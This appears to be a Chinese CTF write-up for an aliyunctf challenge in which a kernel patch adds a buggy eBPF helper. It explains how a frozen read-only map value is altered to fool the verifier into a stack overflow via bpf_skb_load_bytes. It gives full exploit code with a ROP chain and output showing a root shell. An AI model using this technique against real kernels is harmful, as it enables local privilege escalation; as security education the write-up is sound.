题目
给了config和patch文件
diff --color -ruN origin/include/linux/bpf.h aliyunctf/include/linux/bpf.h --- origin/include/linux/bpf.h 2025-01-23 10:21:19.000000000 -0600 +++ aliyunctf/include/linux/bpf.h 2025-01-24 03:44:01.494468038 -0600 @@ -3058,6 +3058,7 @@ extern const struct bpf_func_proto bpf_user_ringbuf_drain_proto; extern const struct bpf_func_proto bpf_cgrp_storage_get_proto; extern const struct bpf_func_proto bpf_cgrp_storage_delete_proto; +extern const struct bpf_func_proto bpf_aliyunctf_xor_proto; const struct bpf_func_proto *tracing_prog_func_proto( enum bpf_func_id func_id, const struct bpf_prog *prog); diff --color -ruN origin/include/uapi/linux/bpf.h aliyunctf/include/uapi/linux/bpf.h --- origin/include/uapi/linux/bpf.h 2025-01-23 10:21:19.000000000 -0600 +++ aliyunctf/include/uapi/linux/bpf.h 2025-01-24 03:44:11.814636836 -0600 @@ -5881,6 +5881,7 @@ FN(user_ringbuf_drain, 209, ##ctx) \ FN(cgrp_storage_get, 210, ##ctx) \ FN(cgrp_storage_delete, 211, ##ctx) \ + FN(aliyunctf_xor, 212, ##ctx) \ /* */ /* backwards-compatibility macros for users of __BPF_FUNC_MAPPER that don't diff --color -ruN origin/kernel/bpf/helpers.c aliyunctf/kernel/bpf/helpers.c --- origin/kernel/bpf/helpers.c 2025-01-23 10:21:19.000000000 -0600 +++ aliyunctf/kernel/bpf/helpers.c 2025-01-24 03:44:06.683490095 -0600 @@ -1745,6 +1745,28 @@ .arg3_type = ARG_CONST_ALLOC_SIZE_OR_ZERO, }; +BPF_CALL_3(bpf_aliyunctf_xor, const char *, buf, size_t, buf_len, s64 *, res) { + s64 _res = 2025; + + if (buf_len != sizeof(s64)) + return -EINVAL; + + _res ^= *(s64 *)buf; + *res = _res; + + return 0; +} + +const struct bpf_func_proto bpf_aliyunctf_xor_proto = { + .func = bpf_aliyunctf_xor, + .gpl_only = false, + .ret_type = RET_INTEGER, + .arg1_type = ARG_PTR_TO_MEM | MEM_RDONLY, + .arg2_type = ARG_CONST_SIZE, + .arg3_type = ARG_PTR_TO_FIXED_SIZE_MEM | MEM_UNINIT | MEM_ALIGNED | MEM_RDONLY, + .arg3_size = sizeof(s64), +}; + const struct bpf_func_proto bpf_get_current_task_proto __weak; const struct bpf_func_proto bpf_get_current_task_btf_proto __weak; const struct bpf_func_proto bpf_probe_read_user_proto __weak; @@ -1801,6 +1823,8 @@ return &bpf_strtol_proto; case BPF_FUNC_strtoul: return &bpf_strtoul_proto; + case BPF_FUNC_aliyunctf_xor: + return &bpf_aliyunctf_xor_proto; default: break; }
patch和反向patch
patch -p1 < ../../bee/aliyunctf.patch patch -p1 -R < ../../bee/aliyunctf.patch
加了一个ebpf helper函数BPF_FUNC_aliyunctf_xor
将_res和传入的值做异或,并将结果存入传入参数res指向的内存
bpf_aliyunctf_xor_proto规定了传入参数要求
ARG_PTR_TO_MEM 指向合法内存(eBPF栈、skb、map值)的指针
ARG_PTR_TO_FIXED_SIZE_MEM 指向固定大小内存的指针
enum bpf_arg_type { ... ARG_PTR_TO_MEM, /* pointer to valid memory (stack, packet, map value) */ ... /* Pointer to valid memory of size known at compile time. */ ARG_PTR_TO_FIXED_SIZE_MEM = MEM_FIXED_SIZE | ARG_PTR_TO_MEM, }
限制辅助函数的参数:
- arg1 为指向只读内存的指针
- arg2 常数
- arg3 指向固定大小(8字节)、未初始化、对齐且只读区域的内存指针
利用分析
判断map是否只读 两个条件:
- map_flags为BPF_F_RDONLY_PROG
- map->frozen为真
static bool bpf_map_is_rdonly(const struct bpf_map *map) { /* A map is considered read-only if the following condition are true: * * 1) BPF program side cannot change any of the map content. The * BPF_F_RDONLY_PROG flag is throughout the lifetime of a map * and was set at map creation time. * 2) The map value(s) have been initialized from user space by a * loader and then "frozen", such that no new map update/delete * operations from syscall side are possible for the rest of * the map's lifetime from that point onwards. * 3) Any parallel/pending map update/delete operations from syscall * side have been completed. Only after that point, it's safe to * assume that map value(s) are immutable. */ return (map->map_flags & BPF_F_RDONLY_PROG) && READ_ONCE(map->frozen) && !bpf_map_write_active(map); }
- BFP程序侧不能更改任何map内容。
BPF_F_RDONLY_PROGflag贯穿map整个生命周期,并在创建map时设置 - map值已经被loader从用户空间初始化,然后被frozen,这样在map剩余生命周期中,系统调用端不可能进行新的map更新/删除操作
- 系统调用端所有并行/挂起的map更新/删除操作已完成。只有在这点之后,才可以安全地假设map值不可变
bpf命令BPF_MAP_FREEZE,设置map->frozen为真
static int map_freeze(const union bpf_attr *attr) { ... WRITE_ONCE(map->frozen, true); ... return err; }
当先创建一个BPF_F_RDONLY_PROG属性的map,再freeze它,能将该map变为read-only
但这只是作为eBPF程序的一种标记 并没有在物理内存上设置为只读
读写操作会使用check_mem_access()检查内存
读取read-only属性map中值到寄存器中,此处value_regno指向dst_reg,读取操作会直接根据map中的值设置该寄存器 并标记为标量
这之后即使用漏洞函数修改map中存储的值,但verifier不会跟踪到这一点,从而仍然会认为加载的是一个小的固定值
static int check_mem_access(struct bpf_verifier_env *env, int insn_idx, u32 regno, int off, int bpf_size, enum bpf_access_type t, int value_regno, bool strict_alignment_once, bool is_ldsx) { if (reg->type == PTR_TO_MAP_KEY) { ... } else if (reg->type == PTR_TO_MAP_VALUE) { ... if (kptr_field) { ... } else if (t == BPF_READ && value_regno >= 0) { struct bpf_map *map = reg->map_ptr; /* if map is read-only, track its contents as scalars */ if (tnum_is_const(reg->var_off) && bpf_map_is_rdonly(map) && map->ops->map_direct_value_addr) { int map_off = off + reg->var_off.value; u64 val = 0; err = bpf_map_direct_read(map, map_off, size, &val, is_ldsx); if (err) return err; regs[value_regno].type = SCALAR_VALUE; __mark_reg_known(®s[value_regno], val); } else { mark_reg_unknown(env, regs, value_regno); } } } ... }
最后使用一个套路的利用方法,通过构造verifier未检测出的大值,作为bpf_skb_load_bytes()函数的第三个长度参数,将参数to设置为栈地址,造成栈溢出
设置参数to时,需要将REG10栈地址-0x8,REG10即rbp,不能直接作为参数to
BPF_CALL_4(bpf_skb_load_bytes, const struct sk_buff *, skb, u32, offset, void *, to, u32, len) { void *ptr; if (unlikely(offset > INT_MAX)) goto err_clear; ptr = skb_header_pointer(skb, offset, len, to); if (unlikely(!ptr)) goto err_clear; if (ptr != to) memcpy(to, ptr, len); return 0; err_clear: memset(to, 0, len); return -EFAULT; }
另外bpf_skb_load_bytes要求了第四个参数类型为ARG_CONST_SIZE
正好从read-only map中获取存到寄存器时寄存器类型会被设置为SCALE_VALUE 从而满足const要求
?没找到源码具体在哪判断的呢?
static const struct bpf_func_proto bpf_skb_load_bytes_proto = { .func = bpf_skb_load_bytes, .gpl_only = false, .ret_type = RET_INTEGER, .arg1_type = ARG_PTR_TO_CTX, .arg2_type = ARG_ANYTHING, .arg3_type = ARG_PTR_TO_UNINIT_MEM, .arg4_type = ARG_CONST_SIZE, };
exp
#define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sched.h> #include <string.h> #include <sys/prctl.h> #include "bpf_tools.h" #define BPF_FUNC_aliyunctf_xor 212 #define MAP_SIZE 8 void err_exit(char *msg) { printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg); sleep(5); exit(EXIT_FAILURE); } /* root checker and shell poper */ void get_root_shell(void) { puts("[*] Checking for root..."); if(getuid()) { puts("\033[31m\033[1m[x] Failed to get the root!\033[0m"); sleep(5); exit(EXIT_FAILURE); } puts("\033[32m\033[1m[+] Successful to get the root. \033[0m"); puts("\033[34m\033[1m[*] Execve root shell now...\033[0m"); system("/bin/sh"); /* to exit the process normally, instead of segmentation fault */ exit(EXIT_SUCCESS); } int main(){ size_t value[0x100]; int array_map_fd = bpf_map_create_rdonly(BPF_MAP_TYPE_ARRAY, 4, MAP_SIZE, 1); if (array_map_fd < 0){ err_exit("FAILED to create eBPF map!"); } int key = 0; value[0] = 1; if (bpf_map_update_elem(array_map_fd, &key, &value, 0) < 0) { err_exit("FAILED to load value into map!"); } if (bpf_map_freeze(array_map_fd) < 0){ err_exit("FAILED to freeze map!"); } struct bpf_insn prog[] = { // R8 CTX BPF_MOV64_REG(BPF_REG_8, BPF_REG_1), // get ptr pointed to read-only map, stored in reg_6 BPF_READ_ARRAY_MAP_IDX(0, array_map_fd, BPF_REG_3), BPF_MOV64_REG(BPF_REG_6, BPF_REG_3), // change the value in map BPF_ST_MEM(BPF_W, BPF_REG_10, -0x18, 2025^(0x80)), BPF_ST_MEM(BPF_W, BPF_REG_10, -0x14, 0), BPF_MOV64_REG(BPF_REG_1, BPF_REG_10), BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, -0x18), // set size BPF_MOV64_IMM(BPF_REG_2, 8), BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_aliyunctf_xor), // R1 = CTX BPF_MOV64_REG(BPF_REG_1, BPF_REG_8), BPF_MOV64_IMM(BPF_REG_2, 0), // R3 = stack BPF_MOV64_REG(BPF_REG_3, BPF_REG_10), BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, -8), // load modified value as len BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_6, 0), BPF_MOV64_REG(BPF_REG_4, BPF_REG_7), BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_skb_load_bytes), BPF_EXIT_INSN() }; char data_buf[0x100] = {}; size_t *rop_chain = (size_t*)&data_buf; rop_chain+=2; *rop_chain++ = 0xffffffff81142d79; // pop rdi; ret; *rop_chain++ = 0xffffffff82a52fa0; // &init_cred *rop_chain++ = 0xffffffff810c19b0; // commit_cred *rop_chain++ = 0xffffffff8108d2f0; // vfork if (bpf_prog_skb_run(prog, sizeof(prog)/sizeof(prog[0]), data_buf, 0x100, 3, 3) < 0){ err_exit("FAILED to run the eBPF prog!"); } get_root_shell(); return 0; }
bash-5.2$ ./exp func#0 @0 0: R1=ctx(off=0,imm=0) R10=fp0 0: (bf) r8 = r1 ; R1=ctx(off=0,imm=0) R8_w=ctx(off=0,imm=0) 1: (18) r9 = 0x0 ; R9_w=map_ptr(off=0,ks=4,vs=8,imm=0) 3: (bf) r1 = r9 ; R1_w=map_ptr(off=0,ks=4,vs=8,imm=0) R9_w=map_ptr(off=0,ks=4,vs=8,imm=0) 4: (bf) r2 = r10 ; R2_w=fp0 R10=fp0 5: (07) r2 += -8 ; R2_w=fp-8 6: (7a) *(u64 *)(r2 +0) = 0 ; R2_w=fp-8 fp-8_w=00000000 7: (85) call bpf_map_lookup_elem#1 ; R0_w=map_value_or_null(id=1,off=0,ks=4,vs=8,imm=0) 8: (55) if r0 != 0x0 goto pc+1 ; R0_w=P0 9: (95) exit from 8 to 10: R0=map_value(off=0,ks=4,vs=8,imm=0) R8=ctx(off=0,imm=0) R9=map_ptr(off=0,ks=4,vs=8,imm=0) R10=fp0 fp-8=0000mmmm 10: R0=map_value(off=0,ks=4,vs=8,imm=0) R8=ctx(off=0,imm=0) R9=map_ptr(off=0,ks=4,vs=8,imm=0) R10=fp0 fp-8=0000mmmm 10: (bf) r3 = r0 ; R0=map_value(off=0,ks=4,vs=8,imm=0) R3_w=map_value(off=0,ks=4,vs=8,imm=0) 11: (b7) r0 = 0 ; R0_w=P0 12: (bf) r6 = r3 ; R3_w=map_value(off=0,ks=4,vs=8,imm=0) R6_w=map_value(off=0,ks=4,vs=8,imm=0) 13: (62) *(u32 *)(r10 -24) = 1897 ; R10=fp0 fp-24=????mmmm 14: (62) *(u32 *)(r10 -20) = 0 ; R10=fp0 fp-24=0000mmmm 15: (bf) r1 = r10 ; R1_w=fp0 R10=fp0 16: (07) r1 += -24 ; R1_w=fp-24 17: (b7) r2 = 8 ; R2_w=P8 18: (85) call bpf_aliyunctf_xor#212 ; R0_w=Pscalar() 19: (bf) r1 = r8 ; R1_w=ctx(off=0,imm=0) R8=ctx(off=0,imm=0) 20: (b7) r2 = 0 ; R2_w=P0 21: (bf) r3 = r10 ; R3_w=fp0 R10=fp0 22: (07) r3 += -8 ; R3_w=fp-8 23: (79) r4 = *(u64 *)(r6 +0) ; R4_w=P1 R6_w=map_value(off=0,ks=4,vs=8,imm=0) 24: (85) call bpf_skb_load_bytes#26 ; R0=Pscalar() fp-8=0000mmmm 25: (95) exit processed 25 insns (limit 1000000) max_states_per_insn 0 total_states 2 peak_states 2 mark_read 1 [*] Checking for root... [+] Successful to get the root. [*] Execve root shell now... /bin/sh: can't access tty; job control turned off / # id uid=0(root) gid=0(root)